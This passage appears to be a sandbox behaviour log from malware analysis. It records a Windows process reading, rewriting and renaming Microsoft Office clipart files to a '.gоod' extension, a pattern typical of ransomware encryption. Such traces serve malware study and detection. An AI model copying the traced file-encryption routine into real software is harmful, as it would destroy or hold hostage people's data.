lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x37fa830 | out: lpFileInformation=0x37fa830*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a)) returned 1 [0269.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0269.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", lpFilePart=0x0) returned 0x44 [0269.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.353] GetFileType (hFile=0x834) returned 0x1 [0269.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.353] GetFileType (hFile=0x834) returned 0x1 [0269.353] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0269.353] ReadFile (in: hFile=0x834, lpBuffer=0x37fac48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37fac48*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0269.354] CloseHandle (hObject=0x834) returned 1 [0269.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", lpFilePart=0x0) returned 0x44 [0269.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.354] GetFileType (hFile=0x834) returned 0x1 [0269.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.354] GetFileType (hFile=0x834) returned 0x1 [0269.354] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x292a [0269.354] WriteFile (in: hFile=0x834, lpBuffer=0x37fbee0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37fbee0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0269.355] CloseHandle (hObject=0x834) returned 1 [0269.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", lpFilePart=0x0) returned 0x44 [0269.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.355] GetFileType (hFile=0x834) returned 0x1 [0269.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.356] GetFileType (hFile=0x834) returned 0x1 [0269.356] ReadFile (in: hFile=0x834, lpBuffer=0x37fe1a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37fe1a0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0269.553] CloseHandle (hObject=0x834) returned 1 [0269.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", lpFilePart=0x0) returned 0x44 [0269.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.554] GetFileType (hFile=0x834) returned 0x1 [0269.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.554] GetFileType (hFile=0x834) returned 0x1 [0269.554] WriteFile (in: hFile=0x834, lpBuffer=0x3757118*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3757118*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0269.554] CloseHandle (hObject=0x834) returned 1 [0269.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", lpFilePart=0x0) returned 0x44 [0269.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0269.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0269.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ce18dfc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x293a)) returned 1 [0269.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0269.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.gоod")) returned 1 [0269.555] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", lpFilePart=0x0) returned 0x44 [0269.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0269.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3891bf8 | out: lpFileInformation=0x3891bf8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c)) returned 1 [0269.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0269.556] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", lpFilePart=0x0) returned 0x44 [0269.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.556] GetFileType (hFile=0x834) returned 0x1 [0269.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.556] GetFileType (hFile=0x834) returned 0x1 [0269.556] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0269.556] ReadFile (in: hFile=0x834, lpBuffer=0x3892010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3892010*, lpNumberOfBytesRead=0x1faedd28*=0x8c, lpOverlapped=0x0) returned 1 [0269.557] CloseHandle (hObject=0x834) returned 1 [0269.557] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", lpFilePart=0x0) returned 0x44 [0269.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.557] GetFileType (hFile=0x834) returned 0x1 [0269.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.557] GetFileType (hFile=0x834) returned 0x1 [0269.557] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x108c [0269.558] WriteFile (in: hFile=0x834, lpBuffer=0x38932e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38932e0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0269.558] CloseHandle (hObject=0x834) returned 1 [0269.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", lpFilePart=0x0) returned 0x44 [0269.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.558] GetFileType (hFile=0x834) returned 0x1 [0269.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.558] GetFileType (hFile=0x834) returned 0x1 [0269.558] ReadFile (in: hFile=0x834, lpBuffer=0x38955a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x38955a0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0269.616] CloseHandle (hObject=0x834) returned 1 [0269.616] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", lpFilePart=0x0) returned 0x44 [0269.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.616] GetFileType (hFile=0x834) returned 0x1 [0269.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.617] GetFileType (hFile=0x834) returned 0x1 [0269.617] WriteFile (in: hFile=0x834, lpBuffer=0x38942f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x38942f8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0269.617] CloseHandle (hObject=0x834) returned 1 [0269.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", lpFilePart=0x0) returned 0x44 [0269.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0269.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0269.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ceb19cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x109c)) returned 1 [0269.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0269.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.gоod")) returned 1 [0269.618] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", lpFilePart=0x0) returned 0x44 [0269.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0269.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x3912a88 | out: lpFileInformation=0x3912a88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a)) returned 1 [0269.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0269.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", lpFilePart=0x0) returned 0x44 [0269.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.773] GetFileType (hFile=0x89c) returned 0x1 [0269.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.773] GetFileType (hFile=0x89c) returned 0x1 [0269.773] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0269.773] ReadFile (in: hFile=0x89c, lpBuffer=0x37abde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37abde8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0269.774] CloseHandle (hObject=0x89c) returned 1 [0269.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", lpFilePart=0x0) returned 0x44 [0269.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.774] GetFileType (hFile=0x89c) returned 0x1 [0269.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.774] GetFileType (hFile=0x89c) returned 0x1 [0269.774] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x246a [0269.775] WriteFile (in: hFile=0x89c, lpBuffer=0x37ad080*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37ad080*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0269.775] CloseHandle (hObject=0x89c) returned 1 [0269.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", lpFilePart=0x0) returned 0x44 [0269.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.775] GetFileType (hFile=0x89c) returned 0x1 [0269.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.776] GetFileType (hFile=0x89c) returned 0x1 [0269.776] ReadFile (in: hFile=0x89c, lpBuffer=0x37af340, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37af340*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0269.802] CloseHandle (hObject=0x89c) returned 1 [0269.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", lpFilePart=0x0) returned 0x44 [0269.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.802] GetFileType (hFile=0x89c) returned 0x1 [0269.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.802] GetFileType (hFile=0x89c) returned 0x1 [0269.802] WriteFile (in: hFile=0x89c, lpBuffer=0x37ae098*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37ae098*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0269.802] CloseHandle (hObject=0x89c) returned 1 [0269.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", lpFilePart=0x0) returned 0x44 [0269.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.gоod", lpFilePart=0x0) returned 0x49 [0269.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0269.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d07b60c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x247a)) returned 1 [0269.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0269.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.gоod")) returned 1 [0269.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", lpFilePart=0x0) returned 0x42 [0269.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0269.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), fInfoLevelId=0x0, lpFileInformation=0x382b780 | out: lpFileInformation=0x382b780*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec)) returned 1 [0269.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0269.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 